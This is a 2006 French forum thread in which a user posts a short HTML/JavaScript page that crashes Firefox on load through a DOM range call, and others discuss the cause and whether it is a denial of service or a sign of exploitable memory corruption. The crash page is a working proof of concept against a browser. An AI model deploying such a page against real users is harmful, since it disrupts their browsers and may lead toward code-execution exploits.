Forum |  HardWare.fr | News | Articles | PC | S'identifier | S'inscrire | Shop Recherche
1978 connectés 

 


 Mot :   Pseudo :  
 
Bas de page
Auteur Sujet :

Faille Firefox

n°871107
big_dadi_f​at
Posté le 14-12-2006 à 14:58:39  profilanswer
 

Salut.
Quelqu'un peut-il m'expliqué ce script qui fait planté Firefox ?!
 

Citation :


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<script type="text/javascript">
function do_crash()
{
var range;
range = document.createRange();
range.selectNode(document.firstChild);
range.createContextualFragment('<span></span>');
}
</script>
</head>
<body onload="do_crash()">
<p>Good bye Firefox!</p>
</body>
</html>

Message cité 1 fois
Message édité par big_dadi_fat le 14-12-2006 à 15:03:43
mood
Publicité
Posté le 14-12-2006 à 14:58:39  profilanswer
 

n°871108
wedgeant
Da penguin inside
Posté le 14-12-2006 à 15:00:02  profilanswer
 

faudrait demander aux progueux plutôt :spamafote:

 

par contre je suis intrigué par ton titre [:opus dei]

Message cité 1 fois
Message édité par wedgeant le 14-12-2006 à 15:00:11

---------------
Wedge#2487 @HS -#- PW: +∞ -#- Khaz-Modan/Boltiz @WoW
n°871110
kadreg
profil: Utilisateur
Posté le 14-12-2006 à 15:05:33  profilanswer
 

ah non, vous le gardez :o

n°871111
big_dadi_f​at
Posté le 14-12-2006 à 15:05:50  profilanswer
 

wedgeant a écrit :

faudrait demander aux progueux plutôt :spamafote:
par contre je suis intrigué par ton titre [:opus dei]


lol faille et pas fille, je corrige ;).
 
par contre, les progueux ont fermé un topic comme celui là, ( c'est comme même pas illégale ! ) .
 

n°871116
wedgeant
Da penguin inside
Posté le 14-12-2006 à 15:21:31  profilanswer
 

kadreg a écrit :

ah non, vous le gardez :o


 [:autobot]  
 
Sans vouloir ... c'est plus de la prog que de l'OS alter quand même hein  :p


---------------
Wedge#2487 @HS -#- PW: +∞ -#- Khaz-Modan/Boltiz @WoW
n°871119
big_dadi_f​at
Posté le 14-12-2006 à 15:26:20  profilanswer
 

wedgeant a écrit :

[:autobot]  
Sans vouloir ... c'est plus de la prog que de l'OS alter quand même hein  :p


oui mais si quelqu'un sais...
 
 

n°871121
franceso
Posté le 14-12-2006 à 15:27:11  profilanswer
 

big_dadi_fat a écrit :

Salut.
Quelqu'un peut-il m'expliqué ce script qui fait planté Firefox ?!


je crois que ça plante car document.firstChild n'est pas un node, mais le type de document (ici html) car il y a une DTD associée). Du coup, le range.selectNode() fait n'importe quoi, et quand tu essaies de remplacer le contenu du range par un simple "<span></span>", ca fait planter firefox.

 

Je suis pas du tout un expert de javascript, mais je suppose qu'en vérifiant les retours des différentes fonctions appelées, on pourrait éviter la catastrophe. En tous cas, ceci est au moins un début d'explication...

 

EDIT: d'ailleurs, si tu enlèves la spécification de la DTD, ça ne plante plus, car dans ce cas le type d'objet renvoyé par firstChild() n'est plus le même

 

plus de détails sur le DOM de Gecko ici: http://developer.mozilla.org/en/do [...] _Reference

Message cité 1 fois
Message édité par franceso le 14-12-2006 à 15:31:51
n°871130
big_dadi_f​at
Posté le 14-12-2006 à 16:01:03  profilanswer
 

merci franceso

n°871135
kadreg
profil: Utilisateur
Posté le 14-12-2006 à 16:21:23  profilanswer
 

franceso a écrit :

je crois que ça plante car document.firstChild n'est pas un node, mais le type de document


 
document EST un node :o
 
http://www.w3.org/TR/1998/REC-DOM- [...] i-Document

n°871136
kadreg
profil: Utilisateur
Posté le 14-12-2006 à 16:21:47  profilanswer
 
mood
Publicité
Posté le 14-12-2006 à 16:21:47  profilanswer
 

n°871151
franceso
Posté le 14-12-2006 à 17:16:42  profilanswer
 

OK, au temps pour moi...
 
Mais alors c'est quoi la différence entre le html avec et sans spécification de DTD  ?

n°871154
Xavier_OM
Monarchiste régicide (fr quoi)
Posté le 14-12-2006 à 17:27:38  profilanswer
 

big_dadi_fat a écrit :

lol faille et pas fille, je corrige ;).
 
par contre, les progueux ont fermé un topic comme celui là, ( c'est comme même pas illégale ! ) .


 
 :ouch:  :ouch:  :ouch:  : quand même c'est mieux non :o


---------------
Il y a autant d'atomes d'oxygène dans une molécule d'eau que d'étoiles dans le système solaire.
n°871165
Mjules
Modérateur
Parle dans le vide
Posté le 14-12-2006 à 19:01:29  profilanswer
 

en quoi c'est une faille ?

 

c'est exploitable pour faire exécuter du code ?

 

et j'allais oublier, rapport avec les OS alternatifs ? et c'est quoi cette sous-cat ?

Message cité 1 fois
Message édité par Mjules le 14-12-2006 à 19:05:11

---------------
Celui qui pose une question est idiot 5 minutes. Celui qui n'en pose pas le reste toute sa vie. |  Membre du grand complot pharmaceutico-médico-scientifico-judéo-maçonnique.
n°871219
0x90
Posté le 15-12-2006 à 00:33:03  profilanswer
 

Mjules a écrit :

en quoi c'est une faille ?  
 
c'est exploitable pour faire exécuter du code ?
 
et j'allais oublier, rapport avec les OS alternatifs ? et c'est quoi cette sous-cat ?


 
C'est une forme de déni de service. Un site est pas censé avoir la possibilité de t'envoyer chier tout tes autres sites.
De plus ça finit en segfault, j'ai pas fouillé plus que ça, mais ça peut être signe d'une corruption mémoire exploitable.
 


---------------
Me: Django Localization, Yogo Puzzle, Chrome Grapher, C++ Signals, Brainf*ck.

Aller à :
Ajouter une réponse
 

Sujets relatifs
Mozilla Gran Paradiso - Firefox 3.0firefox et glibc
plugins firefoxFirefox 2 : problème recherche directe "j'ai de la chance"
question d'un noob : installer FireFox 2.0 sur un ubuntumultisession firefox / Edgy
Peut-on faire confiance à un plug-in REAL PLAYER pour Firefox ?[resolu] firefox chrome
regarder des videos depuis firefox 
Plus de sujets relatifs à : Faille Firefox


Copyright © 1997-2022 Hardware.fr SARL (Signaler un contenu illicite / Données personnelles) / Groupe LDLC / Shop HFR